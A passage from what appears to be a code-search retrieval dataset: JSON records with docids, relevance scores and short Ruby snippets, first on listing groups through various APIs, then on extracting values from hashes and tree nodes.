"title": "" }, { "docid": "c449413110964807364c22a01ac02ab9", "score": "0.62628543", "text": "def retrieve_groups()\n start.uri('/api/group')\n .get()\n .go()\n end", "title": "" }, { "docid": "46b11717823ec38bd37fb16defd72c18", "score": "0.6252342", "text": "def removed_groups\n all_removed_groups = []\n\n @containers.each do |container|\n all_removed_groups += container.removed_groups\n end\n\n # We also need to check removed Containers too because they can have\n # removed groups too.\n @removed_containers.each do |container|\n all_removed_groups += container.removed_groups\n end\n\n all_removed_groups\n end", "title": "" }, { "docid": "25c52fc67f246ffd6f339bd1e33f5e83", "score": "0.6245656", "text": "def groups\n unless @groups\n @groups = convert_to_objects(cn_groups)\n end\n @groups\n end", "title": "" }, { "docid": "bbe5797dfa609199b67db787d8c1a08d", "score": "0.62435496", "text": "def groups(options = {})\n objects_from_response(GroupMe::Group, :get, '/groups', options)\n end", "title": "" }, { "docid": "bd111dc645ee029a03e90f7524169b64", "score": "0.6242975", "text": "def get_layergroups options = {}\n response = unless options[:workspace]\n self.search :layergroups => nil\n else\n self.search :workspaces => options[:workspace], :layergroups => nil\n end\n doc = Nokogiri::XML(response)\n layer_groups = doc.xpath(LayerGroup.root_xpath).collect{|l| l.text.to_s }.map(&:strip)\n list LayerGroup, layer_groups, :workspace => options[:workspace]\n end", "title": "" }, { "docid": "6d3c5fd4f5d29bde21db43d12468d7cb", "score": "0.62401116", "text": "def list_resource_groups\n Azure::Armrest::ResourceGroupService.new(configuration).list\n end", "title": "" }, { "docid": "43819dd4e3c1bc455a9eb9ec57204a10", "score": "0.62306845", "text": "def groups\n @groups ||= []\n end", "title": "" }, { "docid": "43819dd4e3c1bc455a9eb9ec57204a10", "score": "0.62306845", "text": "def groups\n @groups ||= []\n end", "title": "" }, { "docid": "43819dd4e3c1bc455a9eb9ec57204a10", "score": "0.62306845", "text": "def groups\n @groups ||= []\n end", "title": "" }, { "docid": "1f59d88b4cd61c97f20bca4b9bb9ff7b", "score": "0.6212252", "text": "def groups\n @groups ||= begin\n net = https(4433)\n res = net.get('/classifier-api/v1/groups')\n NodeGroup.new(JSON.parse(res.body))\n end\n end", "title": "" }, { "docid": "24e6abcc6cb92c4c8556e93c612ed1df", "score": "0.6198488", "text": "def groups\n response = @api.request(:get, \"users/#{@userid}/groups\")\n parse_with_meta(response, \"//data/groups/element\")\n end", "title": "" }, { "docid": "d6cc9de14f8ba02b86dc272e00272ce3", "score": "0.6197358", "text": "def groups\n return @groups\n end", "title": "" }, { "docid": "d6cc9de14f8ba02b86dc272e00272ce3", "score": "0.6197358", "text": "def groups\n return @groups\n end", "title": "" }, { "docid": "bc097c0b30d313eb34c0208d3be1c803", "score": "0.6195628", "text": "def list_container_node_container_groups_with_http_info(id, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_container_node_container_groups ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DefaultApi.list_container_node_container_groups\"\n end\n if @api_client.config.client_side_validation && id !~ Regexp.new(/\\A\\d+\\z/)\n fail ArgumentError, \"invalid value for 'id' when calling DefaultApi.list_container_node_container_groups, must conform to the pattern /\\A\\d+\\z/.\"\n end\n\n # resource path\n local_var_path = '/container_nodes/{id}/container_groups'.sub('{' + 'id' + '}', id.to_s)\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['UserSecurity']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Array<ContainerGroup>')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_container_node_container_groups\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "2cd010eb3280d0c29430f467f9d7b3ba", "score": "0.61873496", "text": "def list(**options)\n query = options.empty? ? '' : '?' + URI.encode_www_form(options)\n get(uri: \"/groups/#{query}\")\n end", "title": "" }, { "docid": "04805c173c8d7d347cc00dae0f470086", "score": "0.6177704", "text": "def groups\n r = Skype.send_ :command => \"search groups hardwired\", :script_name => \"\"\n r.gsub!(/^\\D+/, \"\")\n group_ids = r.split \", \"\n groups = []\n group_ids.each do |id|\n groups << Group.new(id, Group.get_type(id))\n end\n groups\n end", "title": "" }, { "docid": "8364c17de01f0ee64342b7823cc46e01", "score": "0.6173847", "text": "def groups(include_children = false)\n list = @nodes.values.select {|i| i.group?}\n if include_children\n list += list.collect {|i| i.groups}.flatten\n end\n list\n end", "title": "" }, { "docid": "a7b09ebaf4f1765357bb705f0d348433", "score": "0.61659443", "text": "def list\n @groups = Group.find(:all)\n end", "title": "" }, { "docid": "644ed370ceec3e0155fc1d22f7777602", "score": "0.61655074", "text": "def groups(recursive = false)\n if (recursive)\n res = @nodeSets.dup\n @nodeSets.each do |ns|\n res << ns.groups(true)\n end\n return res\n else\n return @nodeSets\n end\n raise \"Not implemented here\" \n end", "title": "" }, { "docid": "126bb29995203a71dae6b225c4bbca50", "score": "0.61608005", "text": "def groups\n @groups\n end", "title": "" }, { "docid": "126bb29995203a71dae6b225c4bbca50", "score": "0.61608005", "text": "def groups\n @groups\n end", "title": "" }, { "docid": "126bb29995203a71dae6b225c4bbca50", "score": "0.61608005", "text": "def groups\n @groups\n end", "title": "" }, { "docid": "c992ab1c9be06f029fa8129bf442fdec", "score": "0.61600775", "text": "def groups\n data.groups\n end", "title": "" }, { "docid": "7f269cedb3c9d891a09cc8a50437c3d1", "score": "0.6150609", "text": "def groups\n self.children\n end", "title": "" }, { "docid": "0ff9e882d4517ae312decba8ce090266", "score": "0.614243", "text": "def groups\n @groups = groups_get if reset_groups?\n @groups\n end", "title": "" }, { "docid": "593fba7b310beb4e1b61afac0dc9e4f2", "score": "0.61411864", "text": "def groups\n group = Group.new\n group.session = session\n group.groups\n end", "title": "" }, { "docid": "74f4046eed426ae030d65a49247f3dce", "score": "0.6131096", "text": "def groups\n groups = []\n self.group_relations.each do |r|\n groups.push r.group\n end\n groups\n end", "title": "" }, { "docid": "97a503464ef264eb3bda13f96a5c0c92", "score": "0.6127783", "text": "def getGroups\n\treturn_result = []\n\tgroups = $gm.get(\"groups\", @token)['response']\n\tgroups.each do | group |\n\t if !group['image_url'].nil?\n\t image = group['image_url'] + '.avatar'\n\t hash = { 'name' => group['name'], 'group_id' => group['group_id'], 'image' => image }\n\t return_result.push(hash)\n\t end\n\tend\n\treturn return_result\n end", "title": "" }, { "docid": "6874faef27dfb2b88a85dd515ea3245d", "score": "0.61185694", "text": "def get_groups\n body_json = req_body(\"hostgroup.get\", {\"output\"=>\"extend\"})\n res = JSON.parse(api_request(body_json).body)[\"result\"]\n groups = {}\n res.each {|g| groups[g[\"name\"]] = g[\"groupid\"]}\n return @group_map = groups\n end", "title": "" }, { "docid": "0d5f28b9b98e3583896907914158c38e", "score": "0.6116368", "text": "def groups\n root.send(:call, \"UserGroup\", \"get_group_collection_from_site\").xpath(\"//spdir:Group\", NS).map do |row|\n attributes = clean_attributes(row.attributes)\n Group.new(root, attributes[\"Name\"])\n end\n end", "title": "" }, { "docid": "37ff6ff0e18edc29f716fadca284d2ce", "score": "0.6111781", "text": "def list\n @groups = Group.all\n end", "title": "" }, { "docid": "1f6e231cdd90bc04f414dd09d7044aa0", "score": "0.6076875", "text": "def cn_groups_nested\n @cn_groups_nested = cn_groups\n cn_groups.each do |group|\n ado = Adauth::AdObjects::Group.where('name', group).first\n if ado\n groups = convert_to_objects ado.cn_groups\n groups.each do |g|\n @cn_groups_nested.push g if !(@cn_groups_nested.include?(g))\n end\n end\n end\n return @cn_groups_nested\n end", "title": "" }, { "docid": "9ec278d946a4a08d671dbb866559feaa", "score": "0.6068748", "text": "def get_groups\n endpoint = '/groups'\n url = self.base_url.to_s + endpoint.to_s + self.format.to_s\n self.get_data(url)\n end", "title": "" }, { "docid": "8513f30ee1c0d67f32df9af9e62ea066", "score": "0.60671526", "text": "def resource_groups\n connection.cloudtools.resource.manager.collection(:list_resource_groups)\n end", "title": "" }, { "docid": "fe32e54f580434379427060bf4c253e8", "score": "0.6059709", "text": "def list_tag_container_groups(id, opts = {})\n data, _status_code, _headers = list_tag_container_groups_with_http_info(id, opts)\n data\n end", "title": "" }, { "docid": "94868e0940565157078e640b2161977b", "score": "0.60345376", "text": "def subgroups\n subgroups_tree.flatten || []\n end", "title": "" }, { "docid": "28243fc5d5a00f5ae183262fc87c391c", "score": "0.60337824", "text": "def groups\n @ni.groups\n end", "title": "" }, { "docid": "cc4ac373bd30cb6537f779a0f82b1f2e", "score": "0.6017321", "text": "def list_container_groups_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_container_groups ...'\n end\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] > 1000\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_container_groups, must be smaller than or equal to 1000.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'limit'].nil? && opts[:'limit'] < 1\n fail ArgumentError, 'invalid value for \"opts[:\"limit\"]\" when calling DefaultApi.list_container_groups, must be greater than or equal to 1.'\n end\n\n if @api_client.config.client_side_validation && !opts[:'offset'].nil? && opts[:'offset'] < 0\n fail ArgumentError, 'invalid value for \"opts[:\"offset\"]\" when calling DefaultApi.list_container_groups, must be greater than or equal to 0.'\n end\n\n # resource path\n local_var_path = '/container_groups'\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'limit'] = opts[:'limit'] if !opts[:'limit'].nil?\n query_params[:'offset'] = opts[:'offset'] if !opts[:'offset'].nil?\n query_params[:'filter'] = opts[:'filter'] if !opts[:'filter'].nil?\n query_params[:'sort_by'] = opts[:'sort_by'] if !opts[:'sort_by'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] \n\n # return_type\n return_type = opts[:return_type] || 'ContainerGroupsCollection' \n\n # auth_names\n auth_names = opts[:auth_names] || ['UserSecurity']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:GET, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#list_container_groups\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "586026f6f37fc915513dcc9dd26d234b", "score": "0.601675", "text": "def groups\n res = []\n @items_lock.synchronize {\n @items.each_pair do |jid,item|\n res += item.groups\n res += [nil] if item.groups == []\n end\n }\n res.uniq.sort { |a,b| a.to_s <=> b.to_s }\n end", "title": "" }, { "docid": "3b46714741282ba7c1a3738df422c59d", "score": "0.6001799", "text": "def groups(opts = {})\n data, _status_code, _headers = groups_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "3b46714741282ba7c1a3738df422c59d", "score": "0.6001799", "text": "def groups(opts = {})\n data, _status_code, _headers = groups_with_http_info(opts)\n data\n end", "title": "" }, { "docid": "79962f215f68f1dd83590429a8076cba", "score": "0.6001683", "text": "def groups( params={} )\n groups = get_connections(\"groups\", params)\n return map_connections groups, :to => Facebook::Graph::Group\n end", "title": "" }, { "docid": "79962f215f68f1dd83590429a8076cba", "score": "0.6001683", "text": "def groups( params={} )\n groups = get_connections(\"groups\", params)\n return map_connections groups, :to => Facebook::Graph::Group\n end", "title": "" }, { "docid": "b7d9f9ec172e0dc11641fca1f2e3f61d", "score": "0.6001414", "text": "def index\n\t\tputs \"returning all groups belonging to user\"\n\t\t@user = User.find_by(id: session[:user_id])\n\t\tgroups = []\n\t\t@user.user_groups.collect { |a| groups.push(a.group) }\n\n\t\trespond_to do |format|\n\t\t\tformat.json { render :json => groups}\n\t\tend\n\tend", "title": "" }, { "docid": "3f2b683c3bf3b9e46ce988baa6ad4880", "score": "0.5999647", "text": "def groups\n Group.where(name: self._group_names)\n end", "title": "" }, { "docid": "dce438661f131fa3538654b5857899b9", "score": "0.5967297", "text": "def groups\n request('groups').map { |ent| Group.create(ent) }\n end", "title": "" } ]
dea4a59a5903e18f0323e50da7b68aa1
Extract the whole hash from a node of type `:hash`
[ { "docid": "6d3cd0d20c10159e121294dd11766f1b", "score": "0.73872465", "text": "def extract_hash(node)\n return {} if node.nil?\n\n if node.type == :hash\n node.children.each_with_object({}) do |pair, h|\n key = pair.children[0].children[0].to_s\n value = pair.children[1].children[0]\n h[key] = value\n end\n end\n end", "title": "" } ]
[ { "docid": "df7ae2115219af0d2fb0b675f4b441e7", "score": "0.8474849", "text": "def extract_hash(node); end", "title": "" }, { "docid": "34c10d1f1b73ebaa51c390d4d25a5794", "score": "0.7370378", "text": "def visit_hash(node); end", "title": "" }, { "docid": "fa0f0a45afdd20bc38c078e3187465ee", "score": "0.7194227", "text": "def extract_hash_pair(node, key); end", "title": "" }, { "docid": "72a8498bbb03c974fe869980bd38d5cb", "score": "0.6485719", "text": "def node(hash, parts); end", "title": "" }, { "docid": "4d723221e6d2dc82abcdfc0c6396721a", "score": "0.6401363", "text": "def extract_hash_pair(node, key)\n node.children.detect do |child|\n next unless child.type == :pair\n\n key_node = child.children[0]\n %i[sym str].include?(key_node.type) && key_node.children[0].to_s == key\n end\n end", "title": "" }, { "docid": "4d723221e6d2dc82abcdfc0c6396721a", "score": "0.6401363", "text": "def extract_hash_pair(node, key)\n node.children.detect do |child|\n next unless child.type == :pair\n\n key_node = child.children[0]\n %i[sym str].include?(key_node.type) && key_node.children[0].to_s == key\n end\n end", "title": "" }, { "docid": "90e25ba2df975509a037ea2f394172cc", "score": "0.63825226", "text": "def visit_hash(node)\n s(\n :hash,\n visit_all(node.assocs),\n smap_collection(\n srange_length(node.start_char, 1),\n srange_length(node.end_char, -1),\n srange_node(node)\n )\n )\n end", "title": "" }, { "docid": "c96c2c9d8b1914034ed9191c600ebffb", "score": "0.6325754", "text": "def hash\n href.hash\n end", "title": "" }, { "docid": "36da72b2b3ffe685f718a0f93601d946", "score": "0.631852", "text": "def hash\n result['hash']\n end", "title": "" }, { "docid": "8480ea470295e015e125f0dbea62314d", "score": "0.62936896", "text": "def root_hash\n @node_hashes[0]\n end", "title": "" }, { "docid": "9ead02d456ea7722aadfdc96768fa3a1", "score": "0.6273104", "text": "def visit_hash_node(node)\n return \"\"\n end", "title": "" }, { "docid": "3849f75d307fb7736c12579c506306d2", "score": "0.6242231", "text": "def hashes\n root.value[2].value.map do |element|\n index = element.value[0].value\n hash = element.value[1].value.unpack(\"H*\").first\n [index, hash]\n end\n end", "title": "" }, { "docid": "e6969e93fea57b2d736dc2c23e11ff26", "score": "0.62322193", "text": "def get_hash(path='')\n Element.get_hash(@element, path)\n end", "title": "" }, { "docid": "c472dfd6b0b40e364cc7c07a69bd811a", "score": "0.6219689", "text": "def extract_hash_tag(key)\n s = key.index('{')\n\n return key unless s\n\n e = key.index('}', s + 1)\n\n return key unless e\n\n key[s + 1..e - 1]\n end", "title": "" }, { "docid": "320a35457005618d1f0a9755bd818ecf", "score": "0.6215836", "text": "def get_node_value_from_hash(path, hash)\n # special case for the empty path element\n return hash if (1 == path.length && path[0].to_s.length == 0)\n\n node_by_path = get_node_by_path_statement(path)\n result = instance_eval node_by_path\n Log.debug(\"#{node_by_path} = #{result.inspect[0,64]}\") if Log.debug?\n return result\n end", "title": "" }, { "docid": "5d80ca9e822ffc4053e0c1a927319e97", "score": "0.61828715", "text": "def get_hash(path='')\n \t Element.get_hash(@element, path)\n end", "title": "" }, { "docid": "3d7d0f168145504c9b097e959feb6872", "score": "0.61756116", "text": "def hash\n node.hashCode\n end", "title": "" }, { "docid": "52fecffcfeb9a90476d10f3cb2c1a7a3", "score": "0.6163984", "text": "def inner_node(hash)\n val = self[hash]\n return nil if val.nil?\n parse_inner_node(val)\n end", "title": "" }, { "docid": "6b4143b4cc5086f44ff14a699174ae8c", "score": "0.6102749", "text": "def get_hash(path='.')\n Element.get_hash(@element, path)\n end", "title": "" }, { "docid": "6b4143b4cc5086f44ff14a699174ae8c", "score": "0.6102749", "text": "def get_hash(path='.')\n Element.get_hash(@element, path)\n end", "title": "" }, { "docid": "dd5020c6cb62ef6d25583b306b5d320d", "score": "0.6097791", "text": "def extract_hash_tag(key)\n s = key.index('{')\n e = key.index('}', s.to_i + 1)\n\n return '' if s.nil? || e.nil?\n\n key[s + 1..e - 1]\n end", "title": "" }, { "docid": "7c79b4cede802cffddef1a17250f33ba", "score": "0.60546225", "text": "def node_hash(node_id)\n _check_node_id node_id\n node_hash_unchecked node_id\n end", "title": "" }, { "docid": "9626525c2628c250332dbc8d792e4cd3", "score": "0.60525674", "text": "def hash\n attributes['hash']\n end", "title": "" }, { "docid": "ca9e0b97bad69a97fd1e5006f44338b8", "score": "0.5992564", "text": "def visit_hash(node)\n node.copy(lbrace: visit(node.lbrace), assocs: visit_all(node.assocs))\n end", "title": "" }, { "docid": "6d7ef8cd884e3116c75781c6470bd89c", "score": "0.59570765", "text": "def unpack_hexdigest(hex); end", "title": "" }, { "docid": "6d7ef8cd884e3116c75781c6470bd89c", "score": "0.59570765", "text": "def unpack_hexdigest(hex); end", "title": "" }, { "docid": "65c584f3f2f3b06c72ed5ebc7f7314d9", "score": "0.5851567", "text": "def hashToNode(name, nodeHsh)\n node = Node.new()\n node.name=(name)\n node.ip=(nodeHsh[\"ip\"])\n node.username=(nodeHsh[\"username\"])\n node.password=(nodeHsh[\"password\"])\n node.type=(nodeHsh[\"type\"])\n return node\n end", "title": "" }, { "docid": "e2f2711249a5ceb86194cd4967c17b7e", "score": "0.5756765", "text": "def hexdigest\n process\n @digest.unpack('H*'.freeze).first\n end", "title": "" }, { "docid": "7c65e587a629aaf0652691419a2219c4", "score": "0.5754736", "text": "def hash\n self['hash']\n end", "title": "" }, { "docid": "68dee622641bcb66cf101a24b50eef40", "score": "0.5736488", "text": "def the_below_hashs\n path = \"//*/node[@atlas_node_id = '#{id}']\"\n if id == '00000'\n path = \"//*[count(ancestor::node())=2]\"\n end\n xmlc = tax.xpath(path).children\n reform(xmlc).map{ |x| {'id' => x.xpath(\"@atlas_node_id\").text.to_s, 'name' => x.text.split(\"\\n\")[1].to_s} }\n end", "title": "" }, { "docid": "d1a4d86e67f3d75ab82464dad058ffeb", "score": "0.5721046", "text": "def process_hash(exp)\n _, body = exp.shift 2\n return s(:hash) unless body\n\n _, elems = body\n s(:hash, *make_hash_items(elems))\n end", "title": "" }, { "docid": "2327f17ecbc14f041f6a21e1a78f9910", "score": "0.57133675", "text": "def hget( hex )\n @hexes[ [ hex.q, hex.r ] ]\n end", "title": "" }, { "docid": "a0614960d7da522b6f175a29f6b2818b", "score": "0.5697004", "text": "def getblockheader(hash, verbose)\n entry = node.chain.find_entry_by_hash(hash)\n if verbose\n {\n hash: hash,\n height: entry.height,\n version: entry.header.version,\n versionHex: entry.header.version.to_s(16),\n merkleroot: entry.header.merkle_root,\n time: entry.header.time,\n mediantime: node.chain.mtp(hash),\n nonce: entry.header.nonce,\n bits: entry.header.bits.to_s(16),\n previousblockhash: entry.prev_hash,\n nextblockhash: node.chain.next_hash(hash)\n }\n else\n entry.header.to_payload.bth\n end\n end", "title": "" }, { "docid": "2884273c059b30e41542331de5174555", "score": "0.5685034", "text": "def dehash(hash, depth); end", "title": "" }, { "docid": "7e2625335685794f88514d2ac1639806", "score": "0.56840265", "text": "def process_hash(exp)\n result = t(:hash, CType.fucked)\n until exp.empty? do\n result << process(exp.shift)\n end\n return result\n end", "title": "" }, { "docid": "3a151377629368df58e59c00e32effd9", "score": "0.5674784", "text": "def hash\n self[:hash]\n end", "title": "" }, { "docid": "5f2baf37476da042a5be35bc2f996efd", "score": "0.5664676", "text": "def find_hash(hash)\n case hash\n when Class\n # allow people to pass in classes to be instantiated\n # (eg, pass in OpenSSL::Digest::SHA1)\n hash = find_hash(hash.new)\n when Symbol\n # convert symbols to strings and see if OpenSSL::Digest can make sense of\n hash = find_hash(hash.to_s)\n when String\n # if it's a string, first strip off any leading 'hmacWith' (which is implied)\n hash.gsub!(%r{^hmacWith}i, '')\n # see if the OpenSSL lib understands it\n hash = OpenSSL::Digest.new(hash)\n when OpenSSL::Digest\n when OpenSSL::Digest::Digest\n # ok\n else\n raise TypeError, \"Unknown hash type: #{hash.class}\"\n end\n hash\n end", "title": "" }, { "docid": "23261bc737e92ca71a32588cec03896f", "score": "0.5623116", "text": "def visit_hshptn(node); end", "title": "" }, { "docid": "67daf2bbb87860880e863b8829813c45", "score": "0.5610841", "text": "def find_hash(hash)\n case hash\n when Class\n # allow people to pass in classes to be instantiated\n # (eg, pass in OpenSSL::Digest::SHA1)\n hash = find_hash(hash.new)\n when Symbol\n # convert symbols to strings and see if OpenSSL::Digest can make sense of\n hash = find_hash(hash.to_s)\n when String\n # if it's a string, first strip off any leading 'hmacWith' (which is implied)\n hash.gsub!(/^hmacWith/i,'')\n # see if the OpenSSL lib understands it\n hash = OpenSSL::Digest.new(hash)\n when OpenSSL::Digest\n when OpenSSL::Digest::Digest\n # ok\n else\n raise TypeError, \"Unknown hash type: #{hash.class}\"\n end\n hash\n end", "title": "" }, { "docid": "cb8d273603bddc4252b2687708866061", "score": "0.56079096", "text": "def hetnam\n @hash[\"HETNAM\"][0].text\n end", "title": "" }, { "docid": "5d9fabd9b092d56e6dc7990e0a54d384", "score": "0.5598494", "text": "def get_hash\n msg.hash\n end", "title": "" }, { "docid": "1cf02b57b064e92b2955ef32e4bc2e54", "score": "0.5597194", "text": "def node_hw_hash_to_hw_info(hw_hash)\n hw_hash.inject({}) do |hash, (k, v)|\n if k == 'mac'\n v.each_with_index {|v,n| hash[\"net#{n}\"] = v }\n else\n hash[k] = v\n end\n hash\n end\n end", "title": "" }, { "docid": "44dafd2270856a58a015b956d04722d5", "score": "0.55885273", "text": "def hash\n fragments.hash\n end", "title": "" }, { "docid": "036bd2e53381bcc67cf8cd96b80b287e", "score": "0.55744064", "text": "def hash_lookup trie\n t = trie.find_prefix \"[\"\n return t if t.size <= 1\n each do |c|\n if t.keys[0][0] == '_' # the pattern has a symbol to match here, so no need to match this child\n t = t.find_prefix '_'\n else\n t = c.hash_lookup t\n end\n return t if t.size <= 1\n end\n t.find_prefix \"]\"\n end", "title": "" }, { "docid": "6dbd156624e2a65e07053311dee1612a", "score": "0.55739784", "text": "def extract_name_value(hash)\n extract_nested_hash_value(hash, \"namePart\")\n end", "title": "" }, { "docid": "31c56f9b03e1f1b7c0122838ed28d109", "score": "0.55723643", "text": "def hash_lookup trie\n t = trie.find_prefix \"#{@value}##{@children.length}\"\n if t.size <= 1\n t\n else\n @children.hash_lookup t\n end\n end", "title": "" }, { "docid": "0e6d7aa2f7b7cb18e049c7fdbb01ff0e", "score": "0.55629975", "text": "def hsh(hash)\n HashMatcher.new(hash)\n end", "title": "" }, { "docid": "553adb68c66b5fd53bb111803a1522e7", "score": "0.55560815", "text": "def hash\n if @hash_value.nil?\n @hash_value = (name.hash * 53) ^ version.hash\n end\n @hash_value\n end", "title": "" }, { "docid": "725d889968c9f74807af79f5fda04faf", "score": "0.5553316", "text": "def item_hex_hash\n item_hash && item_hash.unpack(\"m\").first.unpack(\"H*\").first\n end", "title": "" }, { "docid": "6bd22eda8f4a41a667d7eafa92216ee3", "score": "0.5552649", "text": "def hash\n @hash ||= nori.parse(to_xml)\n end", "title": "" }, { "docid": "2ae422ef732c58c1ca17ff7cf192d5a3", "score": "0.55503535", "text": "def hash_values\n pair_nodes =\n case sexp_type\n when :bare_assoc_hash\n self[1]\n when :hash\n self[1][1]\n else\n\n end\n if pair_nodes\n values = []\n pair_nodes.size.times { |i| values << pair_nodes[i][2] }\n values\n end\n end", "title": "" }, { "docid": "85404886dbbda5c55a09d9a20d65103f", "score": "0.5543265", "text": "def hash\n @ast.hash\n end", "title": "" }, { "docid": "2bf150a88c4713fc25eb18c4b81a3416", "score": "0.5537346", "text": "def hash\n path.hash\n end", "title": "" }, { "docid": "8b396a5c1905acfbd5ecd500f6a0d60e", "score": "0.5535001", "text": "def get_path_by_hash(user, repository, base, hash)\n #git_cmd(), \"ls-tree\", '-r', '-t', '-z', $base\n reg = Regexp.new(\"(?:[0-9]+) (?:.+) #{hash}\\\\t(.+)$\")\n execute(self, user, repository, ['ls-tree', '-r', '-t', base]).each_line do |line|\n return $1 if line.scan(reg) and $1\n end\n return false\n # while it\n end", "title": "" }, { "docid": "75cab1bd1bd3eb1f375617aba513579d", "score": "0.5531343", "text": "def add_hash_edge(node, hash)\n if hash.kind_of? Hash\n hash.each do |nt, data|\n add_edges(node, nt)\n add_hash_edge(nt, data)\n end\n else\n add_edges(node, hash)\n end\n end", "title": "" }, { "docid": "90316989357c7be7c2d379b6478fdc15", "score": "0.5527493", "text": "def getHashValue(obj_type, key, prop_name) # get a property value by a hash key\n xml = call_method('facebook.data.getHashValue', { \"obj_type\" => obj_type, \"key\" => key, \"prop_name\" => prop_name})\n handle_exceptions(xml)\n result = Hpricot::XML(xml).search('data_getHashValue_response').inner_html\n if result == ''\n return nil\n else\n return CGI::unescapeHTML(result)\n end\nend", "title": "" }, { "docid": "0d7ba695c3e85b368dc50d23e38461d9", "score": "0.55250376", "text": "def get_hash(element, path='.')\n return unless element\n\n result = element.at_xpath(path)\n if result\n hash = {}\n result = result.children\n result.each do |item|\n hash[item.name] = item.inner_html\n end\n hash\n end\n end", "title": "" }, { "docid": "a46ff61adb297f957dd19bc1c9cab313", "score": "0.5512281", "text": "def hash\n raw.hash\n end", "title": "" }, { "docid": "8b834ed18a9c3c6288f854ba7f7cc1a7", "score": "0.5501495", "text": "def sha256_tree_hash\n data[:sha256_tree_hash]\n end", "title": "" }, { "docid": "43b0bbf74f6c526fca47e5c34bd71d2d", "score": "0.55009866", "text": "def get_hash\n @hash\n end", "title": "" }, { "docid": "88494bd3dac269d0e7d8e13194858801", "score": "0.54981303", "text": "def get_hash(element, path='.')\n return unless element\n \n result = element.at_xpath(path)\n if result\n hash = {}\n result = result.children\n result.each do |item|\n hash[item.name] = item.inner_html\n end \n hash\n end\n end", "title": "" }, { "docid": "3e48d78391045e8a0e2eb05680f1bcb2", "score": "0.5488131", "text": "def hash\n @hash_value\n end", "title": "" }, { "docid": "ddbb94ceb684a6c63493caf8ac224366", "score": "0.5485521", "text": "def hash\n parts.to_s.hash\n end", "title": "" }, { "docid": "8a4c57cbdf411c416aa19cfcc99f0be0", "score": "0.5483338", "text": "def split_hash(h); end", "title": "" }, { "docid": "1e06512125a4f4e7a2d2ad2d928c333e", "score": "0.54811394", "text": "def registry_as_hash(tree)\n @h = as_hash(tree)\n @h\n end", "title": "" }, { "docid": "e3bd534620743e35be8a98c6f6e31935", "score": "0.5480238", "text": "def hashes\n node_hashes = Array.new(@blocks)\n File.open(disk_hash_file, 'rb') do |file|\n (0...@blocks).each do |idx|\n node_hashes[idx] = file.read(hash_byte_size)\n end\n end\n node_hashes\n end", "title": "" }, { "docid": "34a795f67c01bf9f5caabb4f9c0d4531", "score": "0.54615396", "text": "def part2(hash)\n # TEST INPUT DATA\n # 1\n # 2 3 4\n # 5 6\n # 2\n # ______\n # / 1 /|\n # /______/ |\n # 3 | 4 | 6/\n # |_____| /\n # 5\nend", "title": "" }, { "docid": "c4ba8898c92de560f9b0468fd2e5be30", "score": "0.5449494", "text": "def get_node_lookup_hash\n @queries += 1\n results = @client.query \"SELECT abc_persid, abc_lasthash FROM #{@config['streamer_table']}\"\n hash_tbl = {}\n results.each{ |res| hash_tbl[res['abc_persid']] = res['abc_lasthash'] }\n hash_tbl\n end", "title": "" }, { "docid": "aa5cec3c367f418351952e4802f5e0cd", "score": "0.5447512", "text": "def hash\n identifier.hash\n end", "title": "" }, { "docid": "a1793224bebc92517e922a6cc77b4cc8", "score": "0.5445574", "text": "def hash\n values[:hash]\n end", "title": "" }, { "docid": "73684a91441e5085f8dc11ae26eda73f", "score": "0.5438278", "text": "def hash\n address.resolved.hash\n end", "title": "" }, { "docid": "b62a167613a5bc0ceff6b75e8dddd281", "score": "0.5435242", "text": "def css_node_to_h(hash, key, val)\n hash[key.strip] = '' and return hash if val.nil?\n\n lines = val.split(';')\n nodes = {}\n lines.each do |line|\n parts = line.split(':', 2)\n if parts[1] =~ /:/\n nodes[parts[0]] = css_node_to_h(hash, parts[0], parts[1])\n else\n nodes[parts[0].to_s.strip] = parts[1].to_s.strip\n end\n end\n hash[key.strip] = nodes\n hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5428793", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5428793", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5428793", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5428793", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5428793", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": "138fd3bba016761ae54867bf3e63325b", "score": "0.5428793", "text": "def hash\n id.hash\n end", "title": "" }, { "docid": 